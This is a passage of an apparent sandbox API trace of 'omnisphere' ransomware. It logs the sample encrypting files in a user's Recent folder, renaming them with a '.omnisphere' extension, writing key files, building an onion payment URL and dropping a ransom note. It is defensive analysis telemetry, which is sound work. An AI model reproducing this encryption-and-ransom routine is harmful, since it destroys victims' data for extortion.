pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.842] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.843] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.843] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.843] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.843] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.843] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.843] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.843] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.843] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.843] CryptDestroyKey (hKey=0x1639528) returned 1 [0118.843] CryptReleaseContext (hProv=0x1669098, dwFlags=0x0) returned 1 [0118.843] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x325, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.843] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.843] GetProcessHeap () returned 0x1600000 [0118.843] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a8) returned 0x16acab0 [0118.843] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1X4wmVa.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1x4wmva.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1X4wmVa.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1x4wmva.lnk.omnisphere")) returned 1 [0118.844] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1X4wmVa.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1X4wmVa.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1X4wmVa.lnk.omnisphere.id" [0118.844] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1X4wmVa.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1x4wmva.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.844] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.845] CloseHandle (hObject=0x3c0) returned 1 [0118.856] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.856] CloseHandle (hObject=0x288) returned 1 [0118.856] SetEndOfFile (hFile=0x28c) returned 1 [0118.856] FlushFileBuffers (hFile=0x28c) returned 1 [0118.860] CloseHandle (hObject=0x28c) returned 1 [0118.861] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1X4wmVa.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0118.861] GetProcessHeap () returned 0x1600000 [0118.861] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16acd60 [0118.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.861] GetProcessHeap () returned 0x1600000 [0118.861] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693da0 [0118.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693da0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.861] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.861] GetProcessHeap () returned 0x1600000 [0118.861] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1686fa8 [0118.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1686fa8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.861] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.861] GetProcessHeap () returned 0x1600000 [0118.861] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a2198 [0118.861] PathCombineW (in: pszDest=0x16a2198, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0118.861] GetProcessHeap () returned 0x1600000 [0118.861] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16a4b80 [0118.862] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.862] WriteFile (in: hFile=0x28c, lpBuffer=0x16a4b80*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16a4b80*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.862] CloseHandle (hObject=0x28c) returned 1 [0118.862] GetProcessHeap () returned 0x1600000 [0118.862] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16acd60 | out: hHeap=0x1600000) returned 1 [0118.862] GetProcessHeap () returned 0x1600000 [0118.862] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0118.862] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0118.862] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.862] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.862] CloseHandle (hObject=0x28c) returned 1 [0118.863] GetProcessHeap () returned 0x1600000 [0118.863] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.863] GetProcessHeap () returned 0x1600000 [0118.863] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e368 | out: hHeap=0x1600000) returned 1 [0118.863] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20e28d1d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20e28d1d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x20e28d1d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0xd3, cFileName="1_FD.lnk", cAlternateFileName="")) returned 1 [0118.863] GetProcessHeap () returned 0x1600000 [0118.863] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x92) returned 0x165e048 [0118.863] PathCombineW (in: pszDest=0x165e048, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="1_FD.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1_FD.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1_FD.lnk" [0118.863] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.863] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1_FD.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1_fd.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.863] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=614) returned 1 [0118.863] GetTickCount () returned 0x115db49 [0118.863] GetTickCount () returned 0x115db49 [0118.863] GetTickCount () returned 0x115db49 [0118.863] GetTickCount () returned 0x115db49 [0118.863] GetTickCount () returned 0x115db49 [0118.863] GetTickCount () returned 0x115db49 [0118.863] GetTickCount () returned 0x115db49 [0118.863] GetTickCount () returned 0x115db49 [0118.863] GetTickCount () returned 0x115db49 [0118.863] GetTickCount () returned 0x115db49 [0118.863] GetTickCount () returned 0x115db49 [0118.864] GetTickCount () returned 0x115db49 [0118.864] GetTickCount () returned 0x115db49 [0118.864] GetTickCount () returned 0x115db49 [0118.864] GetTickCount () returned 0x115db49 [0118.864] GetTickCount () returned 0x115db49 [0118.864] GetTickCount () returned 0x115db49 [0118.864] GetTickCount () returned 0x115db49 [0118.864] GetTickCount () returned 0x115db49 [0118.864] GetTickCount () returned 0x115db49 [0118.864] GetTickCount () returned 0x115db49 [0118.864] GetTickCount () returned 0x115db49 [0118.864] GetTickCount () returned 0x115db49 [0118.864] GetTickCount () returned 0x115db49 [0118.864] GetTickCount () returned 0x115db49 [0118.864] GetTickCount () returned 0x115db49 [0118.864] GetTickCount () returned 0x115db49 [0118.864] GetTickCount () returned 0x115db49 [0118.864] GetTickCount () returned 0x115db49 [0118.864] GetTickCount () returned 0x115db49 [0118.864] GetTickCount () returned 0x115db49 [0118.864] GetTickCount () returned 0x115db49 [0118.864] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669010) returned 1 [0118.865] CryptImportKey (in: hProv=0x1669010, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16396e8) returned 1 [0118.865] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.865] CryptDestroyKey (hKey=0x16396e8) returned 1 [0118.865] CryptReleaseContext (hProv=0x1669010, dwFlags=0x0) returned 1 [0118.865] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x266, lpName=0x0) returned 0x288 [0118.865] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x266) returned 0x1480000 [0118.865] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16683d8) returned 1 [0118.866] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0118.866] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.866] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.866] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.866] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.866] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.866] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.866] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.866] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.866] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.866] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.866] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.866] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.866] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.866] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.866] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.866] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.866] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.866] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.866] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.866] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.866] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.866] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.867] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.867] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.867] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.867] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.867] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.867] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.867] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.867] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.867] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.867] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.867] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.867] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.867] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.867] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.867] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.867] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.867] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.867] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.867] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.867] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.867] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0118.867] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x266, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: 